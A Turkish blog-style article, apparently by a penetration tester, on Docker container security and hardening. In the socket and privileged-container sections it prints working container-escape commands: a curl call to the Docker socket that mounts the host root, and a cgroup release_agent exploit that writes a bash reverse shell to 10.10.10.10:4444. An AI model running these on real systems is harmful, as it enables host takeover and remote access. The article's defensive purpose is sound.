docker run --rm -it --privileged --net=host --pid=host alpine komutunu terminalde çalıştırdığın an, aslında o çok güvendiğin izolasyon katmanını çöpe attın demektir. Eğer bir sızma testinde veya Red Team operasyonunda ele geçirdiğin konteyner bu parametrelerle çalışıyorsa, tebrikler; artık o fiziksel sunucunun (host) sahibisin.
Dostum, selam. Bugün seninle şu "konteyner güvenliği" meselesini, sunum dosyalarındaki süslü grafiklerden arındırıp, terminalin o soğuk ama dürüst yüzüyle konuşalım. Birçoğumuz Docker veya Kubernetes kullanırken kendimizi bir sandbox içinde, tamamen izole ve güvende sanıyoruz. Ama işin aslı, o sandbox'ın duvarları bazen kağıttan daha ince olabiliyor. Hadi, o duvarları nasıl yırtıyoruz ve neden hala aynı hataları yapıyoruz, yakından bakalım.
Docker Socket: Evin Anahtarını Hırsıza Teslim Etmek
Sıkça karşılaştığımız bir senaryo var: Geliştirici arkadaşımız, konteyner içinden Docker komutlarını çalıştırmak istiyor (belki bir CI/CD tool'u, belki bir monitoring ajanı için). Çözüm olarak ne yapıyor? Şak diye docker.sock dosyasını konteyner içine mount ediyor.
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu
Şimdi, bu konteynere sızdığımı düşün. İçeride docker binary'si olmasa bile, basit bir curl ile host üzerinde yeni bir konteyner ayağa kaldırabilirim. Üstelik bu yeni konteyneri host'un root dizinine erişecek şekilde yapılandırabilirim. İzle:
# Konteyner içindeyiz
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["/bin/sh", "-c", "chroot /hostroot /bin/sh"], "HostConfig": {"Binds": ["/:/hostroot"]}}' \
http://localhost/containers/create
# Sonra bu yeni konteyneri başlat...
Buradaki espri şu: docker.sock doğrudan Docker Daemon ile konuşmanı sağlar. Daemon ise root yetkisiyle çalışır. Yani sokete erişimi olan, host üzerinde her şeyi yapma yetkisine sahiptir. testCompany bünyesinde yaptığımız bir testte, sadece bir monitoring tool'unun bu şekilde yapılandırılması yüzünden tüm node'u dakikalar içinde ele geçirmiştik. Çözüm mü? Soketi asla mount etme. İlla gerekiyorsa, Docker API'sini bir proxy arkasına alıp sadece belirli (read-only) request'lere izin ver.
Privileged Konteynerler ve Capabilities Meselesi
Bir konteyneri --privileged flag'i ile çalıştırmak, ona host'un sahip olduğu hemen hemen tüm kernel yetkilerini (capabilities) altın tepside sunmaktır. Ama bazen "ya sadece network'ü manipüle etsin" deyip CAP_NET_ADMIN veririz veya "disklerle oynasın" deyip CAP_SYS_ADMIN ekleriz. İşte o CAP_SYS_ADMIN var ya... O tam bir baş belası.
Eğer bir konteynerde CAP_SYS_ADMIN yetkin varsa ve cgroup v1 kullanılıyorsa, "release_agent" yöntemini kullanarak host üzerinde komut koşturabilirsin. İşte payload'ın mantığı:
# 1. Bir cgroup mount et
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. Release agent özelliğini aktif et
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. Host üzerinde çalışacak script'in yolunu belirle
host_path=$(sed -n 's/.*\percpu //p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
# 4. Exploit script'ini oluştur (Reverse shell vb.)
echo '#!/bin/sh' > /exploit.sh
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /exploit.sh
chmod +x /exploit.sh
# 5. Cgroup'u tetikle
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Bunu yaptığında, kernel o cgroup içindeki işlemler bittiğinde release_agent dosyasında yazan script'i root yetkisiyle çalıştırır. Sonuç? Host makineden gelen bir reverse shell. Konteynerden kaçtık (escape), artık dışarıdayız.
Layer'ların Arasına Gizlenen Sırlar
Dockerfile yazarken çoğumuzun yaptığı bir hata var. Hassas veriyi bir katmanda ekleyip, sonrakinde silmek.
FROM alpine
ENV SECRET_KEY="asdfghjkl123"
RUN do_something_with $SECRET_KEY
RUN unset SECRET_KEY # <--- Güvende olduğumuzu sanıyoruz
Dostum, Docker katmanlı bir dosya sistemidir (Union File System). Sen o unset işlemini yaptığında, sadece o katman için veriyi siliyorsun. Bir önceki katman hala orada duruyor ve o katmanın içinde SECRET_KEY kabak gibi görünüyor. docker history --no-trunc <image_id> komutunu çalıştıran herkes o "gizli" anahtarı görebilir.
Hatta daha ileri gidelim; dive gibi tool'lar kullanarak her bir katmanda hangi dosyanın eklendiğini, hangisinin silindiğini tek tek inceleyebiliyoruz. testCompany'de bir sızma testinde, geliştiricinin "nasıl olsa sildim" diyerek bıraktığı AWS anahtarlarını, sadece image layer'larını tarayarak bulmuştuk.
Runtime Koruması: Kim Ne Yapıyor?
Sızma testlerinde en çok sevdiğimiz şey, sessiz sedasız hareket etmektir. Ama modern bir SIEM veya runtime security aracı (örneğin Falco) kuruluysa, işimiz zorlaşıyor. Neden mi?
Çünkü sen konteyner içinde apt-get update çalıştırdığında veya beklenmedik bir şekilde /etc/shadow dosyasına dokunduğunda, Falco bunu yakalayıp bağırıyor:
10:14:22.123456789: Notice A shell was spawned in a container with an attached terminal (user=root container_id=abc12345)
10:14:35.987654321: Critical Sensitive file opened for reading by non-trusted program (user=root command=cat /etc/shadow file=/etc/shadow)
Eğer bu logları izleyen biri varsa, Red Team operasyonu orada biter. Konteyner güvenliği sadece imajı taramak (Clair, Trivy vb.) değildir; o konteynerin çalışma anındaki (runtime) davranışını da izlemektir.
Network İzolasyonu: Namespace İçinde Namespace
Konteynerler aynı kernel'ı paylaşır ama network namespace'leri farklıdır. Ancak, --net=host dersen, konteyner host'un network stack'ini doğrudan kullanır. Bu ne demek? Konteyner içinden tcpdump çalıştırıp host'un tüm trafiğini dinleyebilirsin demek.
Şu senaryoyu düşün: Aynı node üzerinde hem senin konteynerin hem de başka bir müşterinin (veya projenin) konteyneri var. Sen host network'ündeysen, localhost üzerinden haberleşen diğer servislerin trafiğine 'man-in-the-middle' yapabilirsin. İzolasyon falan kalmaz.
Ne Yapmalı? (Pratik Tavsiyeler)
Bilgiçlik taslamak istemem ama sahada gördüğümüz en büyük eksiklikler şunlar:
- Root Olma: Dockerfile içine
USER 1000:1000ekle. Konteyner root olarak çalışmak zorunda değil. Root olmayan bir kullanıcıdan host'a kaçmak çok daha zordur. - Read-Only Root Filesystem: Mümkünse konteyneri
--read-onlyflag'i ile çalıştır. Saldırgan içeri sızsa bile bir exploit script'i indiremez,/tmpdizinine bir şey yazamaz. - Capabilities'i Kırp:
--cap-drop ALLile tüm yetkileri al, sonra sadece ihtiyacın olanı (mesela--cap-add NET_BIND_SERVICE) ekle. - K8s Network Policies: Kubernetes kullanıyorsan, pod'ların birbirine erişimini kısıtla. Varsayılan olarak her pod her pod'la konuşabilir. Bu, saldırganın içeride yatayda (lateral movement) hareket etmesi için harika bir imkandır.
Konteynerler harika bir teknoloji ama onları "minyatür sanal makineler" gibi düşünmek en büyük hata. Onlar sadece kısıtlanmış süreçler (processes). O kısıtlamaları doğru yapmazsan, o süreç gelir senin ana sistemini yutar.
Hadi, şimdi kendi docker ps çıktına bir bak ve "Gerçekten bu konteynerin bu yetkiye ihtiyacı var mı?" diye sor. Cevap muhtemelen "hayır" olacak.
Bir sonraki sızma testinde görüşürüz, dikkat et kendine.
